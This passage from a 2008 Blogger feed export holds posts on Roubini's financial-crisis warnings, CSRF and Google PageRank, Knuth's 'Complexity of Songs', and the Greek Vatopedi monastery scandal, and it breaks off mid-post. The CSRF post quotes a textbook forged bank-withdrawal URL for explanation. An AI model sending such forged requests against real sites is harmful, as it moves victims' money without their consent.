bold;"&gt;2006&lt;/span&gt;, Roubini predicted the abandonment of the dollar and its decline, the burst of the housing bubble, the meltdown of hedge funds and ...well all what we are seeing now. When the first bailouts for Federal Reserve were announced in Spring of this year, there was no doubt for Mr Roubini: crisis was upon and &lt;span style="font-weight: bold;"&gt;the worst were yet to come&lt;/span&gt;. The days of dismissive comments towards Roubini,  like &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;perma-bear&lt;/span&gt; (&lt;/span&gt;always predicting the worst), or &lt;span style="font-weight: bold;"&gt;pessimist&lt;/span&gt; have gone, and people are listening sharp of what he has to say.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;So what really happened?&lt;/span&gt; &lt;a href="http://www.rgemonitor.com/blog/roubini/253973/the_world_is_at_severe_risk_of_a_global_systemic_financial_meltdown_and_a_severe_global_depression"&gt;Mr Roubini talks about the biggest asset bubble&lt;/a&gt; and credit bubble in the history of humanity, not only on the US but in many other countries as well, and not only in one sector (mortgage) but across many different sectors. So, in fact, we can talk about a housing bubble, a mortgage bubble, an equity bubble, a credit bubble,etc, all breaking at once!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;What is Roubini's view of the bailout plans?&lt;/span&gt; He is really making a point I can really understand. Before pouring money into these companies, you first &lt;span style="font-weight: bold;"&gt;have to wipe out corrupt managers and shareholders&lt;/span&gt;.&lt;span style="font-weight: bold;"&gt; &lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;Just throw them out. Otherwise it is just a scandalous way to waste taxpayers' money buying for gold the very (toxic) trash that these guys invented.&lt;br /&gt;&lt;br /&gt;This was as far as I could go. For your further information just follow the articles linked here. I am also embedding a highly interesting interview of Mr Roubini on Bloomberg TV, talking about the coming recession, &lt;span style="font-weight: bold;"&gt;shot on July 2008. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/bWa1uzhQQQI&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;embed src="http://www.youtube.com/v/bWa1uzhQQQI&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" height="344" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Roubini's blog - Roubini Global Economic Monitor: &lt;a href="http://www.rgemonitor.com/blog/"&gt;http://www.rgemonitor.com/blog/&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Article in NY Times - Dr. Doom:&lt;a href="http://www.nytimes.com/2008/08/17/magazine/17pessimist-t.html"&gt; http://www.nytimes.com/2008/08/17/magazine/17pessimist-t.html&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-8389800445622036642?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/8389800445622036642'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/8389800445622036642'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/10/nouriel-roubini-prophet-of-global.html' title='Nouriel Roubini: The Prophet Of The Global Economic Crisis'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/SPSmt3UT2LI/AAAAAAAAAOs/hcRYc9m_RlE/s72-c/roubini.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-4184677903591552174</id><published>2008-09-30T09:17:00.000-07:00</published><updated>2008-09-30T10:00:47.833-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><title type='text'>CSRF Attack vs. Google's PageRank</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/SOJbMhmRIsI/AAAAAAAAAK8/LP_4Z8MlnCs/s1600-h/usb-memory-bomb.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SOJbMhmRIsI/AAAAAAAAAK8/LP_4Z8MlnCs/s320/usb-memory-bomb.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5251860386202854082" /&gt;&lt;/a&gt;Recently &lt;a href="http://slashdot.org/"&gt;SlashDot&lt;/a&gt; had a very important story on a major security risk that all modern web sites face: The &lt;strong&gt;&lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;Cross Site Request Forgery&lt;/a&gt; &lt;/strong&gt;is a malicious technique that can be used to exploit the trust that web sites have on their legitimate users (e.g. cookie)&lt;p&gt;A very simple example is provided in &lt;strong&gt;Wikipedia&lt;/strong&gt;: &lt;em&gt;http://bank.example/withdraw?account=bob&amp;amp;amount=1000000&amp;amp;for=mallory &lt;/em&gt;could be a &lt;strong&gt;URL&lt;/strong&gt; that would withdraw 1M $ from Bob's account and put it into Mallory's. Bob may well have a cookie on his computer from his bank, still active, that would automatically authenticate him. Bob will only then see something like "&lt;em&gt;Your transfer was completed succesfully!".&lt;/em&gt;&lt;/p&gt;&lt;p&gt;While exaggerating, this example shows well the fact that many modern web applications are heavily dependent on somewhat simplified authentication techniques (such as &lt;strong&gt;cookies&lt;/strong&gt;). Properly crafted query sections of the URI(&lt;a href="http://developeronline.blogspot.com/2008/09/one-line-code-on-how-to-parse-uri.html"&gt;see here about URI structure&lt;/a&gt;), or script code, could then be used to enable requests from malicious entities. A slashdot user puts it well: "&lt;em&gt;Repeat after me boys and girls "GET requests shouldn't change anything on the server"." &lt;/em&gt;&lt;/p&gt;&lt;p&gt;The most scary thing is that this problem is everywhere. Major websites are vulnerable, and recently &lt;strong&gt;YouTube &lt;/strong&gt;and &lt;strong&gt;NYTimes &lt;/strong&gt;included! Any link we click on, any image or file, could be harmful. While there are some serious preconditions that have to be met so that it evolves into a big threat, security experts believe we have just seen the &lt;strong&gt;tip of the iceberg&lt;/strong&gt;. From our side, we could keep track of what we click on, but how careful can we be? (&lt;em&gt;like this &lt;a href="http://developeronline.blogspot.com/2008/03/fraud-are-you-phishing-to-me.html"&gt;phishing example&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;&lt;p&gt;One major implication could arise &lt;strong&gt;if CSRF attacks escalate&lt;/strong&gt;: It could hit on Google's &lt;strong&gt;PageRank&lt;/strong&gt; algorithm. PageRank is over-dependent on hyperlink text section, because it weighs it on what the target page is all about. Perfect example: This Google search for the term "&lt;em&gt;recapitasse" &lt;/em&gt;will bring &lt;strong&gt;Developer On Line &lt;/strong&gt;on the top 10 results. This is an Italian word, never-ever mentioned here, but this blog was linked once(&lt;a href="http://developeronline.blogspot.com/2008/03/gmail-password-thefts-story.html"&gt;for the Gmail scam&lt;/a&gt;) with this text, and until now "&lt;em&gt;recapitasse" &lt;/em&gt;is supposed to describe the content of &lt;strong&gt;that blog post&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Anyway, if quality &lt;strong&gt;a-tag &lt;/strong&gt;text is essential for PageRank and if CSRF undermines it, this is a problem. It could lead to much more extensive Google bombs than we have ever experienced. Overloaded social networks(like &lt;strong&gt;Facebook&lt;/strong&gt;) can also be a great place for this 'web disease'. The threat is much greater than before, because CSRF &lt;strong&gt;attacks do not come from malicious sites&lt;/strong&gt; that we can keep track of. Users just do &lt;em&gt;'semi-subconscious'&lt;/em&gt; actions (image-button clicks) on trusted sites as they usually do. The question remains as to whether the &lt;strong&gt;Internet itself&lt;/strong&gt; can keep its content clean and scam-free. &lt;/p&gt;&lt;p&gt;&lt;em&gt;Further reading &lt;a href="http://www.darkreading.com/document.asp?doc_id=107651"&gt;see here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-4184677903591552174?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4184677903591552174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4184677903591552174'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/09/csrf-attack-vs-googles-pagerank.html' title='CSRF Attack vs. Google&apos;s PageRank'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_PNe-bgIDyRw/SOJbMhmRIsI/AAAAAAAAAK8/LP_4Z8MlnCs/s72-c/usb-memory-bomb.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-3572129674152391194</id><published>2008-09-25T09:23:00.000-07:00</published><updated>2008-09-25T16:44:38.350-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='computer science'/><title type='text'>Donald Knuth And The Complexity Of Songs</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/SNvaeFqlHBI/AAAAAAAAAKs/xyRSRsN6KnA/s1600-h/knuth_don.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/SNvaeFqlHBI/AAAAAAAAAKs/xyRSRsN6KnA/s320/knuth_don.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5250030001082145810" /&gt;&lt;/a&gt;&lt;a href="http://en.wikipedia.org/wiki/Donald_Knuth"&gt;Donald Knuth&lt;/a&gt; is a living legend among computer scientists. His monumental work-of-life "&lt;strong&gt;The Art Of Computer Programming&lt;/strong&gt;" (I was never able to fully follow it) is a standard reference/textbook/work of art for computer science. Mr. Knuth took a new, immature geek-only hobby and transformed it into a solid and complete scientific discipline.&lt;p&gt;Among his contributions, the systematic analysis of the &lt;strong&gt;complexity of algorithms&lt;/strong&gt;, really stands out. As a concept complexity is very familiar to developers. It refers to how a specific algorithm or algorithmic solution to a problem scale to the 'problem size'.&lt;/p&gt;&lt;p&gt;If his work is a reason to &lt;strong&gt;admire&lt;/strong&gt; him, his &lt;strong&gt;humor&lt;/strong&gt; is a reason to love him. Recently, I had the most splendid time reading &lt;strong&gt;his hilarious paper&lt;/strong&gt; titled "&lt;a href="http://www.cs.utexas.edu/users/arvindn/misc/knuth_song_complexity.pdf"&gt;The Complexity Of Songs&lt;/a&gt;" ! Here is the story.&lt;/p&gt;&lt;p&gt;A song has some lyrics which we have to remember in order to sing it. Humans are trying to learn lyrics of length &lt;em&gt;&lt;strong&gt;s &lt;/strong&gt;&lt;/em&gt;(space complexity) to sing a song of length &lt;em&gt;&lt;strong&gt;n&lt;/strong&gt;&lt;/em&gt;. You would expect mathematically that &lt;em&gt;&lt;strong&gt;s ~ n&lt;/strong&gt;&lt;/em&gt;, but Knuth investigates all human 'inventions' to reduce the song space complexity!!&lt;/p&gt;&lt;p&gt;After a series of 'theorems', Knuth proves the existence of songs with &lt;em&gt;&lt;strong&gt;s= a.n, a&amp;lt;1, s="O(sqrt(n))," s="O(logn)"&gt;&lt;/em&gt;&lt;/strong&gt;and finally.....&lt;em&gt;&lt;strong&gt;s=O(1)!!&lt;/strong&gt;&lt;/em&gt; Yes, you read well. &lt;/p&gt;&lt;p&gt;Knuth argues the first step was the invention of the &lt;em&gt;refrain&lt;/em&gt;, the repeated part of a song. If the song has &lt;strong&gt;m &lt;/strong&gt;verses of length &lt;strong&gt;V &lt;/strong&gt;and the refrain has length &lt;strong&gt;R&lt;/strong&gt;, then the song length is roughly &lt;strong&gt;n = V.m+R.m &lt;/strong&gt;and the complexity &lt;strong&gt;s = m.V+R. &lt;/strong&gt;Hence we have a reduction of &lt;strong&gt;V/V+R &lt;/strong&gt;in song complexity. So, a refrain is also a tool to save some memory space to remember the song!&lt;/p&gt;&lt;p&gt;Remember the old song "Old Mc'Donald had a farm, Ei-gh,Ei-gh,Oh!" ? Well this has a complexity &lt;strong&gt;s = O(sqrt(n)). &lt;/strong&gt;It is much like the Greek song "Οταν θα πας κυρα μου στο παζαρι...". In this pattern, each verse includes all previous verses. For &lt;strong&gt;m &lt;/strong&gt;verses &lt;strong&gt;n = o(m^2) &lt;/strong&gt;and &lt;strong&gt;s = O(m), &lt;/strong&gt;so &lt;strong&gt;s = O(sqrt(n)). &lt;/strong&gt;This means that it is much easier to remember! That's why they are most suitable for children! A same pattern can yield a &lt;strong&gt;log &lt;/strong&gt;complexity.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Now to the best part, &lt;strong&gt;Theorem 2 &lt;/strong&gt;is the real killer! The introductory text goes as follows:"&lt;em&gt;However, the advent of modern drugs has led to demands for still less memory, and the ultimate improvement of Theorem 1 has consequently just been announced:&lt;/em&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Theorem 2 (Donald Knuth)&lt;br /&gt;&lt;em&gt;There exist arbitrarily long song of complexity O(1)&lt;/em&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;PROOF. Define &lt;strong&gt;U = 'uh huh','uh huh' &lt;/strong&gt;and the &lt;strong&gt;k-th &lt;/strong&gt;verse &lt;strong&gt;Vk = 'That's the way', &lt;em&gt;U, '&lt;/em&gt;&lt;/strong&gt;&lt;strong&gt;I like it', &lt;em&gt;U &lt;/em&gt;&lt;/strong&gt;&lt;strong&gt;. &lt;/strong&gt;This is a constant &lt;strong&gt;V&lt;/strong&gt;&lt;strong&gt;. &lt;/strong&gt;Then the song &lt;strong&gt;V^k, &lt;/strong&gt;completes our proof!! Oh dear!&lt;/p&gt;&lt;p&gt;This last one really cracked me up!!!   :)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-3572129674152391194?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3572129674152391194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3572129674152391194'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/09/donald-knuth-and-complexity-of-songs.html' title='Donald Knuth And The Complexity Of Songs'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_PNe-bgIDyRw/SNvaeFqlHBI/AAAAAAAAAKs/xyRSRsN6KnA/s72-c/knuth_don.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-2698042513921811074</id><published>2008-09-09T18:12:00.000-07:00</published><updated>2008-12-09T07:11:57.789-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='greece'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Greece Enters the Dark Ages</title><content type='html'>I thought there were 2-3 jobs that meant &lt;span style="font-weight: bold;"&gt;a lot of money&lt;/span&gt;: being a footballer player, a singer or a politician. But being a priest or yet better a monk means a 6-figure salary in Greece too. In all seriousness Greece is officially (re)entering Dark Ages &lt;span style="font-weight: bold;"&gt;after the huge scandal of illegal real-estate transactions&lt;/span&gt; among politicians, monasteries and offshore companies, came out to public. Along with a taste of disgust over recent cover ups of tax evasion tactics from prominent ministers of the Greek government, the public is haunted by a strange feeling of anger and despair.&lt;br /&gt;&lt;br /&gt;In our new quest to plot the "grid of corruption" (&lt;a href="http://developeronline.blogspot.com/2008/01/greeks-do-it-better.html"&gt;remember Zachopoulos and&lt;/a&gt;&lt;a href="http://developeronline.blogspot.com/2008/01/greeks-do-it-better.html"&gt; Tsekou?&lt;/a&gt;), let's get down to the facts.&lt;br /&gt;&lt;br /&gt;The players in this 'wild' scandal game are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The &lt;span style="font-weight: bold;"&gt;Vatopedi Monastery&lt;/span&gt; of Agion Oros&lt;/li&gt;&lt;li&gt;Petros Doukas, vice minister&lt;/li&gt;&lt;li&gt;Aggelos Basiakos, former minister&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Theodoros Roussopoulos&lt;/span&gt;, goverment press representative&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Mara Zacharea, journalist&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Giorgos Voulgarakis&lt;/span&gt;, minister&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Aikaterini Kelpeki&lt;/span&gt;, lawyer&lt;/li&gt;&lt;li&gt;and finally...Kostas Karamanlis, Prime Minister&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;The Scandal:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Briefly to present the facts:&lt;ul&gt;&lt;li&gt;In 2002, the National Council of Public Estate, admits the Monastery of Vatopedi to be the legal owner of 25,000,000 square metres (!) on the lake of Vistonida&lt;/li&gt;&lt;li&gt;In August of 2002, Vice Minister of Economy, accepts the former decision&lt;/li&gt;&lt;li&gt;During the same year, the same Council decides that the Monastery is the legal owner of &lt;span style="font-weight: bold;"&gt;any land &lt;/span&gt;on the lake of Vistonida&lt;/li&gt;&lt;li&gt;In 2003, Vice Minister of Economy signs the decision&lt;/li&gt;&lt;li&gt;In 2005, the Legal Council of Greece, decides that the Minister of Rural Development &lt;span style="font-weight: bold;"&gt;is able &lt;/span&gt;to order the National Estate Company to exchange estate properties&lt;/li&gt;&lt;li&gt;In 2005, the Minister of Rural Development applies his right and commands the National Estate Company to exchange properties with the Monastery in the area of Rodopi and Xanthi&lt;/li&gt;&lt;li&gt;In 2006, the Minister of Rural Development and the Vice Minister of Economy, instruct the National Estate Company to exchange with the Monastery of Vatopedi, national properties (real estate built during Athens Olympics) for the lake of Vistonida&lt;/li&gt;&lt;li&gt;The national properties get highly &lt;span style="font-weight: bold;"&gt;undervalued &lt;/span&gt;while the lake of Vistonida receives an outstanding &lt;span style="font-weight: bold;"&gt;overvalue&lt;/span&gt;&lt;/li&gt;&lt;li&gt;In 2007, the exchanges take place&lt;/li&gt;&lt;li&gt;&lt;span&gt;The monastery sells Olympic properties to off-shores from &lt;span style="font-weight: bold;"&gt;Cyprus&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Let's see connect the bullets with the actual players:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The Vatopedi Monastery&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;a href="http://www.vatopedi.org/"&gt;This monastery&lt;/a&gt; (photo) is among the many monasteries and churches to be found &lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/SMmmJ-iJCzI/AAAAAAAAAJ0/ZJ1WJ2MVGKY/s1600-h/vatopediou.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 226px; height: 157px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SMmmJ-iJCzI/AAAAAAAAAJ0/ZJ1WJ2MVGKY/s320/vatopediou.jpg" alt="" id="BLOGGER_PHOTO_ID_5244905931384884018" border="0" /&gt;&lt;/a&gt;&lt;span&gt;on the Athos Mount, in the same peninsula. Mount Athos is&lt;span style="font-weight: bold;"&gt; independent &lt;/span&gt;from Greece and is a very famous visiting place, although only for men. The Vatopedi Monastery during the last years gathered around many&lt;span style="font-weight: bold;"&gt; Cypriots&lt;/span&gt; and is ruled by Εφραιμ(Efrem), a monk with &lt;span style="font-weight: bold;"&gt;distinct social connections&lt;/span&gt;. &lt;/span&gt;&lt;span&gt;Efrem 'pioneered' a new type of religi&lt;/span&gt;&lt;span&gt;ous activities. He used to transfer important sacred religious objects&lt;/span&gt;&lt;span&gt; to highly powerful people (businessmen, prime ministers etc). This allegedly helped him create a very powerful social network (facebook is a joke).&lt;br /&gt;&lt;br /&gt;The Vatopedi Monastery around 1998 started a crusade against the off&lt;/span&gt;&lt;span&gt;icial state claiming ownership of numerous real estates and land. In the most &lt;/span&gt;&lt;span&gt;infamous legal battles, the monastery backed up its allegations based on decisions from &lt;span style="font-weight: bold;"&gt;Byzantine Empe&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-weight: bold;"&gt;rors, dating back to 1900&lt;/span&gt;!&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;In 2002, the National Council for Real Estate, recognized the monastery as the owner of 25,000,000 square metres, around the lake of Vistonida. However, to ac&lt;/span&gt;&lt;span&gt;tually ow&lt;/span&gt;&lt;span&gt;n it, the signature of a minister was needed.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Petros Doukas&lt;/span&gt;- Former Vice Minister of Economy&lt;br /&gt;&lt;br /&gt;Petros Doukas (photo), now Vice Minister of External Affairs, &lt;span style="font-weight: bold;"&gt;was a Vice Minister&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_HrnzSVVGoHc/R1l1smV3KfI/AAAAAAAAABw/3nb_ljCFh3A/S300/Portrait+Rassias.JPG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 151px; height: 228px;" src="http://1.bp.blogspot.com/_HrnzSVVGoHc/R1l1smV3KfI/AAAAAAAAABw/3nb_ljCFh3A/S300/Portrait+Rassias.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="font-weight: bold;"&gt; of Economy&lt;/span&gt;, during the "hot" period. As a public figure, I think people like him. Calm &lt;/span&gt;&lt;span&gt;and reasonab&lt;/span&gt;&lt;span&gt;l&lt;/span&gt;&lt;span&gt;e as a person, he didn't do &lt;/span&gt;&lt;span&gt;anything to cause any trouble, despite his heavy political duties.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Mr Doukas&lt;span style="font-weight: bold;"&gt; is accused of &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-weight: bold;"&gt;having signed&lt;/span&gt; the infamous decision to hand the lake of Vistonida over to the monastery. From his side, he has denied all accusations. &lt;a href="http://www.petrosdoukas.blogspot.com/"&gt;In his blog&lt;/a&gt; one can read: "I fou&lt;/span&gt;&lt;span&gt;nd out that from 1999 to 2003, the case &lt;/span&gt;&lt;span&gt;was closed, and the lake of Vistonida belonged to the monastery &lt;/span&gt;&lt;span&gt;of Vatopedi. The Council for Real E&lt;/span&gt;&lt;span&gt;state is under the Minister of Economy, but acts independetly, which means I do not influence a single mem&lt;/span&gt;&lt;span&gt;ber of it...The Minister of Rural Development decided to exhange properties with the monastery due to public pressure."&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Aggelos Basiakos&lt;/span&gt; - Former Minister of Rural Development&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Mr Basiakos(photo) was among the "legion" of the Prime Minister, a faithful and close partner. Mr Basiakos&lt;/span&gt;&lt;span&gt; is accused of taking the action to exchange properties with the monaster&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/SMmmuXBvfcI/AAAAAAAAAJ8/YGwpGqDC35M/s1600-h/mpasiakos100.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 150px; height: 116px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SMmmuXBvfcI/AAAAAAAAAJ8/YGwpGqDC35M/s320/mpasiakos100.gif" alt="" id="BLOGGER_PHOTO_ID_5244906556435168706" border="0" /&gt;&lt;/a&gt;&lt;span&gt;y. It should be noted that this &lt;span style="font-weight: bold;"&gt;right to give such orders was decided the same year by the Legal Council&lt;/span&gt;. At speed light, Mr Basiakos applied his 'legal' rights. At first, Mr Basiakos ordered for exchanges of appartmen&lt;/span&gt;&lt;span&gt;ts and hou&lt;/span&gt;&lt;span&gt;ses and in 2006 co-decided with the Minister of Econo&lt;/span&gt;&lt;span&gt;my to exchange the Lake of Vistonida.&lt;br /&gt;&lt;br /&gt;Mr Basiakos, of course , has denied all accusations. A very interesting fact is that the Vice Minister of Rural Development at that time, &lt;span style="font-weight: bold;"&gt;had resigned&lt;/span&gt;, and the reason was, as he now says, &lt;span style="font-weight: bold;"&gt;great political pressure&lt;/span&gt; to sign these decisions, to which he was strongly opposed against.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Theodoros Roussopoulos&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Former-journalist, Mr Roussopoulos(photo) is the invisible force that really governs Gre&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/SMmnlT_LlmI/AAAAAAAAAKE/w7jO3j-4fq4/s1600-h/rousopoulos.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SMmnlT_LlmI/AAAAAAAAAKE/w7jO3j-4fq4/s320/rousopoulos.jpg" alt="" id="BLOGGER_PHOTO_ID_5244907500511925858" border="0" /&gt;&lt;/a&gt;&lt;span&gt;ek media today. He is very close to Prime Minister and enjoys complete support for whatever he does. Inside the government party, Mr Roussopoulos is considered &lt;span style="font-weight: bold;"&gt;an 'outlander'&lt;/span&gt;, a m&lt;/span&gt;&lt;span&gt;an who &lt;/span&gt;&lt;span&gt;immediately climbed up the party's stairs, but no serious objections were raised (until now) since he is a major factor of the party's resurrection. Among his many duties&lt;span style="font-weight: bold;"&gt;, Mr Roussopoulos distributes the multi-million national advertisement funds to TV and radio stations.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;Mr Roussopoulos appears to have &lt;span style="font-weight: bold;"&gt;very strong relations&lt;/span&gt; with Efraim and the monastery of Vatopedi and also to be the owner of several luxury estates (that &lt;/span&gt;&lt;span&gt;arose d&lt;/span&gt;&lt;span&gt;uring his government duties), while in the annual report for politicians' wealth, he claims his wife as the prime income source...&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span style="font-weight: bold;"&gt;Mara Zacharea&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;A prominent journalist in Greece, having worked in many media.  Recently, Mr&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.enet.gr/online/dspphoto?id=232911"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 211px; height: 140px;" src="http://www.enet.gr/online/dspphoto?id=232911" alt="" border="0" /&gt;&lt;/a&gt;&lt;span&gt;s &lt;/span&gt;&lt;span&gt;Zacharea left the Alpha TV stationa &lt;span style="font-weight: bold;"&gt;after long fights&lt;/span&gt; and joined several newspaper&lt;/span&gt;&lt;span&gt; a&lt;/span&gt;&lt;span&gt;nd &lt;/span&gt;&lt;span&gt;radio media, not only as a jou&lt;/span&gt;&lt;span&gt;rn&lt;/span&gt;&lt;span&gt;alist but also as a shareholder. It should be noted that &lt;/span&gt;&lt;span&gt;&lt;span style="font-weight: bold;"&gt;Alpha TV was the one that researched for the monastery scandal and brought it to the public.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Mrs Zacharea is supposed to&lt;span style="font-weight: bold;"&gt; have good relationships wi&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-weight: bold;"&gt;th Efrem&lt;/span&gt; and the monastery of Vatopedi. In the photo you can see an interview she h&lt;/span&gt;&lt;span&gt;ad with Efrem in 2006.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Giorgos Voulgarakis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This man was brought up to be a politician. He recently faced heavy cr&lt;/span&gt;&lt;span&gt;iticism for establishing private companies, transferring funds from Cyprus off-shore companies to avoid t&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SMmpG8mOioI/AAAAAAAAAKU/ApRCYrfdbt4/s1600-h/voulgarakis.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 202px; height: 175px;" 